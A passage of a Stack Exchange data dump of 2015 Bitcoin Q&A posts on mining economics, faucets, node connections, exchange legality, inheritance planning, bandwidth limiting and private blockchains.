than the value of the transaction fees in a block, miners (most) will shut down. At least so many will shut down that the network becomes insecure and Bitcoin will die.&lt;/p&gt;&#xA;" OwnerUserId="27506" LastEditorUserId="5406" LastEditDate="2015-07-19T14:33:14.273" LastActivityDate="2015-07-19T14:33:14.273" Title="What happens to price when the block reward is gone completely?" Tags="|transaction-fees|block|reward-schedule|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38686" PostTypeId="2" ParentId="38685" CreationDate="2015-07-19T08:04:19.120" Score="1" Body="&lt;p&gt;You've completely failed to mention the difficulty retarget mechanism in your analysis. If the block reward drops, miners will quit until the difficulty is low enough that the remaining miners will break even. This will happen regardless of what the new reward per block is, the only thing that changes is the new difficulty/hashrate. (There is some subtlety in that the retarget mechanism takes time to kick in, but if the drop is gradual that's not much of a problem.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With low hashrate, the network is less secure. This is why we need to come up with ways to make sure transaction fees are sufficient to fund an acceptable level of mining. (A limit on the data size of blocks is a possible such way, but not a very effective one IMO.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the drop in reward will not magically cause the price to go up. The price is determined by the market.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2015-07-19T08:09:26.510" LastActivityDate="2015-07-19T08:09:26.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38687" PostTypeId="1" CreationDate="2015-07-19T08:12:10.013" Score="1" ViewCount="1245" Body="&lt;p&gt;There are quite a lot of bitcoin faucets on the Internet. They give away bitcoin for free, but where do they come from? Won't the faucet operator lose money?&lt;/p&gt;&#xA;" OwnerUserId="27508" LastActivityDate="2020-11-25T01:21:57.803" Title="How do the faucets earn money?" Tags="|faucets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38688" PostTypeId="2" ParentId="38687" CreationDate="2015-07-19T08:49:05.473" Score="1" Body="&lt;p&gt;I imagine different faucets have different business models. The ones I've seen either show you ads, or make you solve captchas (which has potential value to spammers, etc).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-07-19T08:49:05.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38689" PostTypeId="1" CreationDate="2015-07-19T13:52:28.970" Score="4" ViewCount="2027" Body="&lt;p&gt;How can I see how many active connections there are on &lt;code&gt;Linux&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="27514" LastActivityDate="2019-08-28T15:09:08.160" Title="Ubuntu - Show active connections?" Tags="|bitcoind|ubuntu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38690" PostTypeId="2" ParentId="38689" CreationDate="2015-07-19T14:13:25.237" Score="5" Body="&lt;p&gt;&lt;code&gt;bitcoin-cli getinfo&lt;/code&gt; will show the number of connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli getpeerinfo&lt;/code&gt; will give information about individual connections.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-19T14:13:25.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38691" PostTypeId="1" CreationDate="2015-07-19T17:20:01.570" Score="1" ViewCount="457" Body="&lt;p&gt;I've been doing some reading on the state of starting a Bitcoin exchange in the United States, and I have a couple of unanswered questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) What are the legal fees and process for starting a regular exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) When are the legalities surrounding exchanges like coinffeine, where two anonymous users exchange and coinffeine acts as the intermediary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) How can I connect with a partner in a developing country like Panama, where it is much easy to start an exchange?&lt;/p&gt;&#xA;" OwnerUserId="27515" LastEditorUserId="2306" LastEditDate="2015-07-20T04:13:19.747" LastActivityDate="2015-07-20T04:13:19.747" Title="Is there a legal way and free way to open a Bitcoin exchange in the United States?" Tags="|exchanges|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38692" PostTypeId="1" CreationDate="2015-07-19T18:00:47.343" Score="15" ViewCount="4715" Body="&lt;p&gt;What are good ways to ensure my bitcoins can be inherited by my family&#xA;when I die or become permanently incapacitated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there are probably two significantly different situations to&#xA;account for, each with different requirements:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hot wallet inheritability&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I want my family to be able to inherit the bitcoins from my hot wallet,&#xA;but I'm not worried about them stealing those bitcoins or monitoring my&#xA;public transaction history while I'm still living.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cold wallet inheritability&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I also want my family to be able to inherit the bitcoins from my cold&#xA;wallet, but I'd prefer a solution that prevents them from being able to&#xA;spend the bitcoins while I'm still alive. If possible, I'd also like to&#xA;prevent them from determining my balance while I'm still alive.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It is acceptable for the solution to require periodic activity from&#xA;me, such as moving my bitcoins every six months. For example, your&#xA;answer may assume that&#xA;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&quot;&gt;&lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt;&lt;/a&gt;&#xA;has become consensus-enforced, as that's likely to happen within the&#xA;next few months---and I hope to live that long.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because I tend to use strong encryption when available, assume that&#xA;all my data will be lost at my death unless I've specifically backed&#xA;it up for other people to use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I use Bitcoin Core for both my hot and cold wallets (with separate wallet files), but solutions for other Bitcoin software are welcome.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5406" LastEditDate="2015-07-21T12:52:03.990" LastActivityDate="2019-09-21T12:08:20.867" Title="Estate planning: how can I ensure my bitcoins are inheritable?" Tags="|wallet|bitcoin-core|backup|coldstorage|inheritance-plan|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38694" PostTypeId="2" ParentId="7750" CreationDate="2015-07-19T20:05:28.910" Score="10" Body="&lt;p&gt;If your goal is just to get a stable Bitcoin node running, and not to contribute to the network, you can add &lt;code&gt;listen=0&lt;/code&gt; to your bitcoin.conf file. This generally (though not always) keeps your upload bandwidth in check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to contribute to the Bitcoin network without using up too much of your own bandwidth, however, there are ways of limiting your upload speed for Bitcoin Core (Bitcoin-qt) only. Instructions depend on your OS, so what follows is a breakdown on what to do with each OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT NOTE:&lt;/strong&gt; If you limit the bandwidth of Bitcoin Core far below your actual upload speed, it can actually harm the Bitcoin network instead of helping it. To be a responsible maintainer of the Bitcoin network, you should test your upload speed and then set your outgoing bandwidth limit to be as close to your actual speed as possible (e.g. 90%). This guide is intended solely for people whose internet connections go unresponsive due to Bitcoin Core completely saturating their upload bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following instructions are abridged from this article I wrote recently:&#xA;&lt;a href=&quot;https://www.maxlaumeister.com/blog/how-to-limit-bandwidth-of-bitcoin-core-on-windows-mac-os-and-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.maxlaumeister.com/blog/how-to-limit-bandwidth-of-bitcoin-core-on-windows-mac-os-and-linux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Limiting Bitcoin Bandwidth on Windows&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://netbalancer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download and Install NetBalancer&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start Bitcoin Core if it isn’t already running.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run NetBalancer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find “bitcoin-qt.exe” in the list of running applications in the NetBalancer dialog and double-click it to change its bandwidth rules.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under “Upload Priority” choose “Limited”, set the maximum amount of bandwidth for Bitcoin Core to use, and confirm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You’re done! NetBalancer will now sit in the background and make sure Bitcoin Core doesn’t use more bandwidth than you want it to.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Limiting Bandwidth on Mac OS X&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;OS X 10.10 Yosemite and later&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For OS X 10.10 Yosemite and later, there is no easy way to limit the bandwidth of a particular application, but the overall system bandwidth can be limited as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Visit &lt;a href=&quot;https://developer.apple.com/downloads/index.action?q=Hardware%20IO%20Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apple Developer Downloads&lt;/a&gt; and log in with your Apple ID.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for “Hardware IO Tools for Xcode” and download the latest stable (non-beta) version.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the .dmg and double-click “Network Link Conditioner.prefpane” to install the prefpane. From now on, you can enable/disable Network Link Conditioner from System Preferences.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the Network Link Conditioner pane in System Preferences, click “Manage Profiles”, then click the “+” button to add a new profile.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the profile and add your desired maximum upload speed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save your edit, exit the profile manager, choose your new profile, and flip the big switch to enable the limiter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Mac OS will place an icon in your notification tray so you remember that it’s on. Unlike the Windows/Linux solutions, this will limit the bandwidth for your entire system, so be sure to turn it off you’re not running Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;OS X 10.9 Mavericks and earlier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For OS X 10.9 Mavericks you can &lt;a href=&quot;http://www.techrepublic.com/article/configure-apples-built-in-network-firewall-with-icefloor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;use IceFloor to configure bandwidth rules&lt;/a&gt;. For 10.8 Mountain Lion and earlier, &lt;a href=&quot;http://naleid.com/blog/2008/10/06/how-the-other-half-lives-bandwidth-throttling-on-the-mac-using-waterroofipfw&quot; rel=&quot;nofollow noreferrer&quot;&gt;use Waterroof&lt;/a&gt;. Alternatively, if you want a simple way to control the overall system bandwidth limit instead of just Bitcoin Core, follow the instructions above for OS X 10.10 Yosemite and later.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Limiting Bandwidth on Linux&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you have tc installed by typing &lt;code&gt;tc&lt;/code&gt; at the command line. If you get “command not found”, install tc using your favorite package manager. If you're on a Debian-based distribution, the easiest way to install tc is by using &lt;code&gt;apt-get&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo apt-get update&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo apt-get install iproute2&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the tc.sh script from the official Bitcoin Core repository using wget:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wget https://raw.githubusercontent.com/bitcoin/bitcoin/master/contrib/qos/tc.sh&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the script in a text editor. Find the line that says &lt;code&gt;IF=&quot;eth0&quot;&lt;/code&gt; and change &lt;code&gt;eth0&lt;/code&gt; to reflect the network interface that your internet connection runs through. To get a list of your computer's network interfaces, use &lt;code&gt;ifconfig&lt;/code&gt; on the command line. My computer is connected wirelessly through &lt;code&gt;wlan1&lt;/code&gt;, so the IF line of my tc.sh looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IF=&quot;wlan1&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;LINKCEIL should reflect the limit of the network interface, and most likely does not need to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LINKCEIL=&quot;1gbit&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change LIMIT to be the maximum bandwidth you want Bitcoin Core to use (I chose 1mbit). If you don’t have any other Bitcoin Core nodes in your local network, you can delete the line that says LOCALNET. This line is there to make a bandwidth exception for port 8333 communications within your local network (i.e. not out to the internet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LIMIT=&quot;1mbit&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave the rest of the commands in tc.sh alone unless you know what you're doing. The final top section of my tc.sh ended up looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#network interface on which to limit traffic&#xA;IF=&quot;wlan1&quot;&#xA;&#xA;#limit of the network interface in question&#xA;LINKCEIL=&quot;1gbit&quot;&#xA;&#xA;#limit outbound Bitcoin protocol traffic to this rate&#xA;LIMIT=&quot;1mbit&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit your editor and make the script executable with the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chmod +x ./tc.sh&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the script as superuser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo ./tc.sh&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Bitcoin Core bandwidth will be throttled until you reboot your computer!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Optionally, you can set the script to run every time you start your computer. Instructions for running scripts on boot will vary depending on your Linux distribution. On Ubuntu, &lt;a href=&quot;https://askubuntu.com/a/1199/379181&quot;&gt;one of the ways to run a script on boot&lt;/a&gt; is by adding the script to your &lt;code&gt;/etc/rc.local&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Hopefully this post was helpful in showing you how to limit the bandwidth of Bitcoin Core! For the full version, including images and extra information, check out the &lt;a href=&quot;https://www.maxlaumeister.com/blog/how-to-limit-bandwidth-of-bitcoin-core-on-windows-mac-os-and-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;original article here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27232" LastEditorUserId="27232" LastEditDate="2018-10-16T22:34:50.027" LastActivityDate="2018-10-16T22:34:50.027" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="38695" PostTypeId="2" ParentId="38689" CreationDate="2015-07-19T21:12:12.723" Score="2" Body="&lt;p&gt;(GUI Method) Open Bitcoin Core and open the debug window. On the &quot;console&quot; tab, type in &lt;code&gt;getconnectioncount&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also hover your mouse over the &quot;connections&quot; icon in the bottom right. (Also in the GUI)&lt;/p&gt;&#xA;" OwnerUserId="24850" LastActivityDate="2015-07-19T21:12:12.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38696" PostTypeId="2" ParentId="38687" CreationDate="2015-07-19T21:16:47.117" Score="0" Body="&lt;p&gt;Advertising. The amount you receive from faucets is so minimal that the amount they make from your visit from you seeing ads is more than the amount they'll give you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's rare for a faucet to do it simply to solve CAPTCHAs, as most CAPTCHAs are generated randomly, and trying to find an answer to all possible graphics is virtually impossible.&lt;/p&gt;&#xA;" OwnerUserId="24850" LastActivityDate="2015-07-19T21:16:47.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38697" PostTypeId="1" CreationDate="2015-07-19T22:10:02.923" Score="-1" ViewCount="293" Body="&lt;p&gt;I'm using my personal computer and trying to mine bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm rather new to this and was wondering if I did everything alright. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r6hLr.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="27218" LastEditorUserId="5406" LastEditDate="2016-03-10T09:54:47.190" LastActivityDate="2016-03-10T09:54:47.190" Title="Does this mean it's mining?" Tags="|ubuntu|bfgminer|miner-configuration|cpu-mining|stratum|" AnswerCount="1" CommentCount="6" ClosedDate="2015-07-21T13:24:03.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="38698" PostTypeId="2" ParentId="38691" CreationDate="2015-07-20T03:32:04.073" Score="3" Body="&lt;p&gt;There is a free way. There is a legal way. There is not a free, legal way.&lt;/p&gt;&#xA;&lt;h3&gt;Free way&lt;/h3&gt;&#xA;&lt;p&gt;Get a DynDNS account, and a Raspberry Pi. Host the exchange on your home internet connection.&lt;/p&gt;&#xA;&lt;p&gt;I can't think of any reason why someone would trust their money to my_exchange.dyndns.biz, but I suppose you could do this.&lt;/p&gt;&#xA;&lt;h3&gt;Legal way&lt;/h3&gt;&#xA;&lt;p&gt;Money service businesses are generally regulated &lt;a href=&quot;https://www.coinbase.com/legal/licenses&quot; rel=&quot;nofollow noreferrer&quot;&gt;state-by-state&lt;/a&gt;, so it's difficult to give you general advice. I would suggest that you find a lawyer that practices law in that state and who specializes in banking law; they can tell you what you need to comply with. If you do not know a lawyer like this, I suggest going to a lawyer you do know and asking for a recommendation.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When are the legalities surrounding exchanges like coinffeine, where two anonymous users exchange and coinffeine acts as the intermediary?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Those two users are breaking the law. Operating an unlicensed money service business is against the law, and &lt;a href=&quot;http://krebsonsecurity.com/2014/02/florida-targets-high-dollar-bitcoin-exchangers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;people have been arrested for exchanging Bitcoins.&lt;/a&gt; (Also, if you operate an unlicensed MSB, you're automatically also &lt;a href=&quot;https://www.law.cornell.edu/uscode/text/18/1960&quot; rel=&quot;nofollow noreferrer&quot;&gt;committing a federal crime&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;Whether Coinffeine is also breaking the law is a very interesting question that I am totally unqualified to answer.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-07-20T03:32:04.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38699" PostTypeId="1" CreationDate="2015-07-20T04:54:23.310" Score="3" ViewCount="53012" Body="&lt;p&gt;I tried to withdraw from my blockchain wallet from blockchain, but I don't understand how to convert to cash and withdraw to the financial establishment available in my country.&lt;/p&gt;&#xA;" OwnerUserId="27520" LastEditorUserId="5406" LastEditDate="2015-07-21T13:16:27.240" LastActivityDate="2016-01-10T11:32:20.597" Title="How can I withdraw my bitcoins from my blockchain wallet and convert them into cash?" Tags="|blockchain.info|sell-bitcoins|withdrawal|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-07-02T22:47:43.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="38700" PostTypeId="2" ParentId="53852" CreationDate="2015-07-20T05:16:43.467" Score="4" Body="&lt;p&gt;It looks like your transaction finally went through. I've had a transaction take longer than 24 hours due to not including a large enough miner's fee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And currently there's no way to cancel a transaction after it's already sent, even if it's still unconfirmed. So it's a good idea to triple check the amount you're sending, the transaction fee and that it's going to the correct address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be helpful if bitcoin had this feature in the future: cancelling transactions while they're still unconfirmed&lt;/p&gt;&#xA;" OwnerUserId="27519" LastActivityDate="2015-07-20T05:16:43.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38701" PostTypeId="2" ParentId="17239" CreationDate="2015-07-20T05:59:51.127" Score="1" Body="&lt;p&gt;Unfortunately it's currently not an easy thing to do, to go back and forth from cash to bitcoin. I still haven't figured out a good way either, only that the reason it seems to be so hard is because our governments have all these laws and regulations designed to keep us from easily doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't seem to want us exchanging all of our old state &amp;amp; country backed currencies into any of these new and innovative online crypto currencies, which are not backed by war and governments but instead by the people who love, develop and support them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's no great answer to this right now, but the typical responses would be circle.com, coinbase, localbitcoins, and libertyx, and those will work as long as you can meet all of their strict requirements.&lt;/p&gt;&#xA;" OwnerUserId="27519" LastActivityDate="2015-07-20T05:59:51.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38702" PostTypeId="2" ParentId="17239" CreationDate="2015-07-20T10:00:03.023" Score="4" Body="&lt;p&gt;If there are Bitcoin ATMs in your country it should be as simple as goint to the ATM ask for a refound and transfer the Bitcoins to where the ATM asks for. After that it should give you the money (whitout the processing charges).&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2015-07-20T10:00:03.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38703" PostTypeId="2" ParentId="38697" CreationDate="2015-07-20T10:39:36.853" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;You are using an ancient version of &lt;code&gt;bfgminer&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;CPU mining was disabled by default even in &lt;code&gt;bfgminer 3.10.0&lt;/code&gt;, your gpu doesn't seem to get detected &lt;/li&gt;&#xA;&lt;li&gt;You're about 4 years late for CPU mining and 3 years late for GPU mining: Even if you get &lt;code&gt;bfgminer&lt;/code&gt; to run, your PC will not be powerful enough to even find shares that would be accepted by a pool. See e.g. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/20045/5406&quot;&gt;Can I do mining with a normal PC?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-07-20T10:39:36.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38704" PostTypeId="2" ParentId="17239" CreationDate="2015-07-20T12:10:45.590" Score="2" Body="&lt;p&gt;I've always been a fan of &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Australia buying and selling Bitcoins is just a matter of using their site to find a reputable vendor. Often I'd be dealing with the same vendors on a regular basis. LBC has escrow, so it's just a matter of initiating the trade, and using bank details to fund a purchase or get funded for a sale. Dealing with vendors that have the same bank usually means overnight; but trusted vendors can transfer or receive funds straight away in most instances. Of course, the rates are probably 5% in the vendor's favour, but it's worthwhile when you consider the transaction time is quick and escrow gives the transaction very low risk. I've bought and sold bitcoins thousands of times over the years and never had an issue with being scammed.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-07-20T12:10:45.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38706" PostTypeId="2" ParentId="35670" CreationDate="2015-07-20T16:20:08.350" Score="1" Body="&lt;p&gt;The cheapest external memory that would work fast enough to be acceptable is SATA3 HDD via usb2.0 adapter. (I didn't tested SATA1 or 2 nor old IDE drives, if you have them with over 500GB capacity you can probably use them too. I couldn't find them for my test).&#xA;For comparison, here's the time was needed to &lt;strong&gt;import 21GB blockchain&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2.0 USB flashdrive: never finished. took 7 days non-stop for progress bar to reach 1/3. and then speed slowed down to the point that there was no noticeable progress.&lt;/li&gt;&#xA;&lt;li&gt;SATA3 HDD via USB2.0 adapter: about 20 hours non-stop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22889" LastActivityDate="2015-07-20T16:20:08.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38708" PostTypeId="2" ParentId="38610" CreationDate="2015-07-20T22:44:36.277" Score="1" Body="&lt;p&gt;Full disclosure, I'm &lt;a href=&quot;http://www.blockcypher.com/&quot; rel=&quot;nofollow&quot;&gt;BlockCypher's&lt;/a&gt; Developer Advocate. We have both a WebSockets/WebHooks API for unconfirmed transactions, which you can read about here, along with a Ruby example: &lt;a href=&quot;http://dev.blockcypher.com/?ruby#using-webhooks&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/?ruby#using-webhooks&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you wanted to run a local implementation that's primarily Ruby-based, you could try Coinbase's Toshi, or bitcoin-ruby:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/coinbase/toshi&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinbase/toshi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/lian/bitcoin-ruby&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lian/bitcoin-ruby&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-07-20T22:44:36.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38709" PostTypeId="2" ParentId="17239" CreationDate="2015-07-21T00:49:46.253" Score="5" Body="&lt;p&gt;The usual procedure would be to deposit the bitcoins into a bitcoin exchange, sell them there, and withdraw the cash to your bank account.  You will have to identify yourself to the exchange, and the exchange must be able to send money to your bank.  &lt;/p&gt;&#xA;" OwnerUserId="27534" LastActivityDate="2015-07-21T00:49:46.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38711" PostTypeId="1" CreationDate="2015-07-21T03:46:47.467" Score="33" ViewCount="9992" Body="&lt;p&gt;Since the banks appear to be currently looking into &lt;a href=&quot;http://tpbit.blogspot.ca/2015/06/bitcoin-vs-blockchain.html&quot;&gt;the idea of &quot;blockchains&quot; but don't want to be dealing with &quot;Bitcoin&quot;&lt;/a&gt;, it seems that there is a lot of hype for private blockchains out there like Eris or Hyperledger. However, a lot of people tend to point out that a blockchain without a currency is essentially &quot;an SQL database&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering, does a private blockchain have any advantages over a traditional database solution, or can everything that a private blockchain does be replicated with some effort using a database application?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2017-03-30T07:53:10.267" Title="Is a private blockchain better in any sense than a database?" Tags="|blockchain|database|private-blockchains|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38712" PostTypeId="2" ParentId="38711" CreationDate="2015-07-21T03:56:40.510" Score="9" Body="&lt;p&gt;It depends on what you mean by &quot;private&quot;. The word private is not really associated with Eris as far as I can tell. Rather, the word &quot;permissioned&quot; is used instead, and therein lies all the difference and your answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;private&quot; blockchain might imply a blockchain that is not shared with anyone. Such blockchains would effectively amount to slow databases and nobody would have much need for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eris' value proposition over traditional databases is simple: integrity through cryptographically signed history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's stopping twitter from editing my tweets and making it seem like I said something I didn't say? Little to nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where a blockchain approach comes in. If twitter stored tweets in a blockchain that others could copy, then any modifications that twitter made to this chain would be caught.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchains preserve the integrity of the data within a database. They prevent people from cooking the books. This is of extraordinary importance and value.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Comparison to git&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Git does not have a smart contracts system within its protocol.&lt;/li&gt;&#xA;&lt;li&gt;Git is more of a filesystem interface, whereas Eris seems more like a database interface, to be used in environments where databases are sometimes used. Git is rarely used like a database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27538" LastEditorUserId="27538" LastEditDate="2015-07-21T04:19:12.617" LastActivityDate="2015-07-21T04:19:12.617" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
